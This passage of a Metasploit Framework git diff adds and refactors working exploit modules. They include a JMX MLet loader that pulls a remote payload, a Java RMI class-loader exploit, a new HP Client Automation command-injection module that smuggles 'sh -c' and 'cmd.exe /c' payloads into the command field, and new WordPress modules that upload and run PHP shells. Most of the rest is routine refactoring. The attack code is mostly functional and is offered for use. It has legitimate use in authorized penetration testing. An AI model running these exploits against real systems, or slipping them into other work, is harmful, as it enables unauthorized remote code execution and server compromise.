extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected JMXRMI discovery answer") + return nil + end + + case answer + when 'javax.management.remote.rmi.RMIServerImpl_Stub' + mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + else + vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}") + return nil + end + + mbean_server + end + + def handshake(mbean) + vprint_status("#{peer} - Sending handshake / authentication...") + + send_call(call_data: handshake_stream(mbean[:id].chop)) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - Failed to send handshake") + return nil + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected handshake answer") + return nil + end + + case answer + when 'java.lang.SecurityException' + vprint_error("#{peer} - JMX end point requires authentication, but it failed") + return nil + when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + vprint_good("#{peer} - Handshake completed, proceeding...") + conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + else + vprint_error("#{peer} - Handshake returned unexpected object #{answer}") + return nil + end + + conn_stub + end + + def load_payload(conn_stub) + vprint_status("#{peer} - Getting JMXPayload instance...") + get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: "#{@mlet}:name=jmxpayload,id=1") + send_call(call_data: get_payload_instance) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - The request to getObjectInstance failed") + return false + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected getObjectInstance answer") + return false + end + + case answer + when 'javax.management.InstanceNotFoundException' + vprint_warning("#{peer} - JMXPayload instance not found, trying to load") + return load_payload_from_url(conn_stub) + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - JMXPayload instance found, using it") + return true + else + vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + return false + end + end + + def load_payload_from_url(conn_stub) + vprint_status("Starting service...") + start_service + + vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") + create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet') + send_call(call_data: create_mbean) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - The request to createMBean failed") + return false + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected createMBean answer") + return false + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - javax.management.loading.MLet already exists") + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - javax.management.loading.MLet created") + when 'java.lang.SecurityException' + vprint_error("#{peer} - The provided user hasn't enough privileges") + return false + else + vprint_error("#{peer} - createMBean returned unexpected object #{answer}") + return false + end + + vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") + get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet') + send_call(call_data: get_mlet_instance) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - The request to getObjectInstance failed") + return false + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected getObjectInstance answer") + return false + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - javax.management.loading.MLet already found") + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - javax.management.loading.MLet instance created") + else + vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + return false + end + + vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") + + invoke_mlet_get_mbean_from_url = invoke_stream( + obj_id: conn_stub[:id].chop, + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => "#{get_uri}/mlet" } + ) + send_call(call_data: invoke_mlet_get_mbean_from_url) + return_data = recv_return + + vprint_status("Stopping service...") + stop_service + + if return_data.nil? + vprint_error("#{peer} - The call to getMBeansFromURL failed") + return false + end + + answer = extract_object(return_data, 3) + + if answer.nil? + vprint_error("#{peer} - Unexpected getMBeansFromURL answer") + return false + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - The remote payload was already loaded... okey, using it!") + return true + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - The remote payload has been loaded!") + return true + else + vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}") + return false + end + end + +end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index ca24e3f50fe7..53697867d1f5 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::Tcp + include Msf::Java::Rmi::Client include Msf::Exploit::Remote::HttpServer def initialize(info = {}) @@ -115,42 +115,33 @@ def peer def primer connect + print_status("#{peer} - Sending RMI Header...") + send_header + ack = recv_protocol_ack + if ack.nil? + fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol") + end + jar = rand_text_alpha(rand(8)+1) + '.jar' - old_url = "file:./rmidummy.jar" new_url = get_uri + '/' + jar - packet = gen_rmi_packet - # Java strings in serialized data are prefixed with a 2-byte, big endian length - # (at least, as long as they are shorter than 65536 bytes) - find_me = [old_url.length].pack("n") + old_url - idx = packet.index(find_me) - len = [new_url.length].pack("n") - # Now replace it with the new url - packet[idx, find_me.length] = len + new_url - - # write out minimal header and packet - print_status("#{peer} - Connected and sending request for #{new_url}") - #sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet); - sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet) - - buf = "" - 1.upto(6) do - res = sock.get_once(-1, 5) rescue nil - break unless res - break if session_created? - buf << res - end - disconnect + print_status("#{peer} - Sending RMI Call...") + send_call(call_data: build_gc_call_data(new_url)) + return_data = recv_return - if buf =~ /RMI class loader disabled/ - fail_with(Failure::NotVulnerable, "#{peer} - The RMI class loader is disabled") + if return_data.nil? && !session_created? + fail_with(Failure::Unknown, 'RMI Call failed') end - if buf =~ /java.lang.ClassNotFoundException/ - fail_with(Failure::Unknown, "#{peer} - The RMI class loader couldn't find the payload") + if return_data && loader_disabled?(return_data) + fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') end - print_good("#{peer} - Target may be exploitable...") + if return_data && class_not_found?(return_data) + fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') + end + + disconnect end def on_request_uri(cli, request) @@ -175,22 +166,96 @@ def on_request_uri(cli, request) end end + def autofilter + return true + end + + def loader_disabled?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + content.class_data[1].contents.include?('RMI class loader disabled') + return true + end + end - def gen_rmi_packet - "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + - "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + - "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + - "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" + - "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" + - "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" + - "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a" + false end - def autofilter - return true + def class_not_found?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' + return true + end + end + + false + end + + def build_gc_call_data(jar_url) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + stream end end diff --git a/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb b/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb new file mode 100644 index 000000000000..501df43124b2 --- /dev/null +++ b/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Client Automation Command Injection', + 'Description' => %q{ + This module exploits a command injection vulnerability on HP Client Automation, distributed + actually as Persistent Systems Client Automation. The vulnerability exists in the Notify + Daemon (radexecd.exe), which doesn't authenticate execution requests by default. + + This module has been tested successfully on HP Client Automation 9.00 on Windows 2003 SP2 + and CentOS 5. + }, + 'Author' => + [ + 'Ben Turner', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2015-1497'], + ['ZDI', '15-038'], + ['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features'] + ], + 'Privileged' => true, + 'Platform' => %w{ unix win }, + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'Payload' => {'DisableNops' => true}, + 'Targets' => + [ + [ 'HP Client Automation 9.0.0 / Linux', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 466, + 'EncoderType' => Msf::Encoder::Type::CmdUnixPerl, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl telnet generic gawk' + }, + 'BadChars' => "\x27" + } + } + ], + [ 'HP Client Automation 9.0.0 / Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 02 2014')) + + register_options( + [ + Opt::RPORT(3465) + ], self.class) + + deregister_options('CMDSTAGER::FLAVOR') + deregister_options('CMDSTAGER::DECODER') + end + + def check + connect + sock.put("\x00") # port + sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID + sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password + sock.put("hide\x00") # command + res = sock.get_once + disconnect + + if res && res.unpack('C')[0] == 0 + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def exploit + case target['Platform'] + when 'win' + print_status('Exploiting Windows target...') + execute_cmdstager({:flavor => :vbs, :linemax => 290}) + when 'unix' + print_status('Exploiting Linux target...') + exploit_unix + else + fail_with(Failure::NoTarget, 'Invalid target') + end + end + + def exploit_unix + connect + sock.put("\x00") # port + sock.put("0\x00") # user ID + sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password + sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected + disconnect + end + + def execute_command(cmd, opts = {}) + connect + sock.put("\x00") # port + sock.put("S-1-5-18\x00") # user ID + sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password + sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected + res = sock.get_once + disconnect + unless res && res.unpack('C')[0] == 0 + fail_with(Failure::Unknown, "Something failed executing the stager...") + end + end +end diff --git a/modules/exploits/multi/samba/nttrans.rb b/modules/exploits/multi/samba/nttrans.rb index 61b785aa2623..6f1f3652dada 100644 --- a/modules/exploits/multi/samba/nttrans.rb +++ b/modules/exploits/multi/samba/nttrans.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/multi/samba/usermap_script.rb b/modules/exploits/multi/samba/usermap_script.rb index b3c0b8d8a6a6..24a37cc018a1 100644 --- a/modules/exploits/multi/samba/usermap_script.rb +++ b/modules/exploits/multi/samba/usermap_script.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client # For our customized version of session_setup_no_ntlmssp CONST = Rex::Proto::SMB::Constants diff --git a/modules/exploits/netware/smb/lsass_cifs.rb b/modules/exploits/netware/smb/lsass_cifs.rb index 988ce5768ce1..04c141d2a7ed 100644 --- a/modules/exploits/netware/smb/lsass_cifs.rb +++ b/modules/exploits/netware/smb/lsass_cifs.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) diff --git a/modules/exploits/osx/samba/lsa_transnames_heap.rb b/modules/exploits/osx/samba/lsa_transnames_heap.rb index b98c1693e05a..3eca9265e669 100644 --- a/modules/exploits/osx/samba/lsa_transnames_heap.rb +++ b/modules/exploits/osx/samba/lsa_transnames_heap.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/osx/samba/trans2open.rb b/modules/exploits/osx/samba/trans2open.rb index 703bda17bcda..bcd15fbb3943 100644 --- a/modules/exploits/osx/samba/trans2open.rb +++ b/modules/exploits/osx/samba/trans2open.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/solaris/samba/lsa_transnames_heap.rb b/modules/exploits/solaris/samba/lsa_transnames_heap.rb index 432e9e427622..4445b770332d 100644 --- a/modules/exploits/solaris/samba/lsa_transnames_heap.rb +++ b/modules/exploits/solaris/samba/lsa_transnames_heap.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/solaris/samba/trans2open.rb b/modules/exploits/solaris/samba/trans2open.rb index b2f41017c5a8..926c665dce6c 100644 --- a/modules/exploits/solaris/samba/trans2open.rb +++ b/modules/exploits/solaris/samba/trans2open.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb index 1df0174ef339..fc9b180f6125 100644 --- a/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb +++ b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info( info, - 'Name' => 'Maarch LetterBox 2.8 Unrestricted File Upload', + 'Name' => 'Maarch LetterBox Unrestricted File Upload', 'Description' => %q{ This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of session and file validation in the file_to_index.php script. It allows unauthenticated diff --git a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb new file mode 100644 index 000000000000..8cbf2a541126 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Admin Shell Upload', + 'Description' => %q{ + This module will generate a plugin, pack the payload into it + and upload it to a server running WordPress providing valid + admin credentials are used. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'DisclosureDate' => 'Feb 21 2015', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['WordPress', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), + OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) + ], self.class) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def generate_plugin(plugin_name, payload_name) + plugin_script = %Q{<?php +/** + * Plugin Name: #{plugin_name} + * Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)} + * Author: #{Rex::Text.rand_text_alpha(10)} + * Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com + * License: GPL2 + */ +?>} + + zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) + zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded) + zip + end + + def exploit + fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? + + print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...") + cookie = wordpress_login(username, password) + fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? + print_good("#{peer} - Authenticated with WordPress") + + print_status("#{peer} - Preparing payload...") + plugin_name = Rex::Text.rand_text_alpha(10) + payload_name = "#{Rex::Text.rand_text_alpha(10)}" + payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") + zip = generate_plugin(plugin_name, payload_name) + + print_status("#{peer} - Uploading payload...") + uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie) + fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded + + print_status("#{peer} - Executing the payload at #{payload_uri}...") + register_files_for_cleanup("#{payload_name}.php") + register_files_for_cleanup("#{plugin_name}.php") + send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5) + end +end diff --git a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb new file mode 100644 index 000000000000..b49c8863229c --- /dev/null +++ b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb @@ -0,0 +1,86 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'socket' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Holding Pattern Theme Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in all versions of the + Holding Pattern theme found in the upload_file.php script which contains + no session or file validation. It allows unauthenticated users to upload + files of any type and subsequently execute PHP scripts in the context of + the web server. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Alexander Borg', # Vulnerability disclosure + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'References' => + [ + ['CVE', '2015-1172'], + ['WPVDB', '7784'], + ['URL', 'http://packetstormsecurity.com/files/130282/WordPress-Holding-Pattern-0.6-Shell-Upload.html'] + ], + 'DisclosureDate' => 'Feb 11 2015', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['holding_pattern', {}]], + 'DefaultTarget' => 0 + )) + end + + def rhost + datastore['RHOST'] + end + + def holding_pattern_uploads_url + normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/') + end + + def holding_pattern_uploader_url + normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php') + end + + def generate_mime_message(payload, payload_name) + data = Rex::MIME::Message.new + target_ip = IPSocket.getaddress(rhost) + field_name = Rex::Text.md5(target_ip) + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"") + data + end + + def exploit + print_status("#{peer} - Preparing payload...") + payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" + data = generate_mime_message(payload, payload_name) + + print_status("#{peer} - Uploading payload...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => holding_pattern_uploader_url, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 + payload_url = normalize_uri(holding_pattern_uploads_url, payload_name) + + print_status("#{peer} - Executing the payload at #{payload_url}") + register_files_for_cleanup(payload_name) + send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) + end +end diff --git a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb index 2c7670fa7665..c3dd97fe3eb9 100644 --- a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb @@ -16,12 +16,14 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info( info, - 'Name' => 'WordPress Photo Gallery 1.2.5 Unrestricted File Upload', + 'Name' => 'WordPress Photo Gallery Unrestricted File Upload', 'Description' => %q{Photo Gallery Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the photo-gallery\photo-gallery.php script allows access to filemanager\UploadHandler.php. The post() method in UploadHandler.php - does not properly verify or sanitize user-uploaded files.}, + does not properly verify or sanitize user-uploaded files. + + This module was tested on version 1.2.5.}, 'License' => MSF_LICENSE, 'Author' => [ diff --git a/modules/exploits/windows/backupexec/name_service.rb b/modules/exploits/windows/backupexec/name_service.rb index 1ddaa8eb9826..8670ef8c98b9 100644 --- a/modules/exploits/windows/backupexec/name_service.rb +++ b/modules/exploits/windows/backupexec/name_service.rb @@ -41,7 +41,6 @@ module has been tested against Veritas 9.1 SP0, 9.1 SP1, and { 'Space' => 1024, 'MinNops' => 512, - 'MinNops' => 512, 'StackAdjustment' => -3500, }, 'Platform' => %w{ win }, diff --git a/modules/exploits/windows/brightstor/ca_arcserve_342.rb b/modules/exploits/windows/brightstor/ca_arcserve_342.rb index 629621b0330e..fc38dbe7d1b4 100644 --- a/modules/exploits/windows/brightstor/ca_arcserve_342.rb +++ b/modules/exploits/windows/brightstor/ca_arcserve_342.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::Seh def initialize(info = {}) diff --git a/modules/exploits/windows/brightstor/etrust_itm_alert.rb b/modules/exploits/windows/brightstor/etrust_itm_alert.rb index 99f72ef29fc9..61ae466927a6 100644 --- a/modules/exploits/windows/brightstor/etrust_itm_alert.rb +++ b/modules/exploits/windows/brightstor/etrust_itm_alert.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index 6d1c1f157138..78466bd120cb 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -48,7 +48,7 @@ def initialize(info = {}) 'DefaultOptions' => { 'EXITFUNC' => 'process', - + 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { @@ -57,10 +57,6 @@ def initialize(info = {}) 'BadChars' => "\x00\x0d\x0a\x5c", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, - 'DefaultOptions' => - { - 'InitialAutoRunScript' => 'migrate -f' - }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb index 2650552b354a..814fc873d2b2 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb @@ -52,17 +52,13 @@ def initialize(info = {}) 'DefaultOptions' => { 'EXITFUNC' => 'process', - + 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, }, - 'DefaultOptions' => - { - 'InitialAutoRunScript' => 'migrate -f' - }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb index 02a9aed841e5..f82f7a1504e7 100644 --- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb +++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "MS12-022 Microsoft Silverlight ScriptObject Unsafe Memory Access", + 'Name' => "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access", 'Description' => %q{ This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an @@ -28,7 +28,7 @@ def initialize(info={}) to dereference arbitrary memory which easily leverages to arbitrary code execution. In order to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP - SP3 / Windows 7 SP1 on both x32 and x64 architectures. + SP3 / Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => @@ -55,7 +55,7 @@ def initialize(info={}) 'EXITFUNC' => 'thread' }, 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X86_64], + 'Arch' => ARCH_X86, 'BrowserRequirements' => { :source => /script|headers/i, @@ -65,16 +65,7 @@ def initialize(info={}) }, 'Targets' => [ - [ 'Windows x86', - { - 'arch' => ARCH_X86 - } - ], - [ 'Windows x64', - { - 'arch' => ARCH_X86_64 - } - ] + [ 'Windows x86/x64', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 12 2013", @@ -96,10 +87,8 @@ def exploit_template(cli, target_info) my_payload = get_payload(cli, target_info) # Align to 4 bytes the x86 payload - if target_info[:arch] == ARCH_X86 - while my_payload.length % 4 != 0 - my_payload = 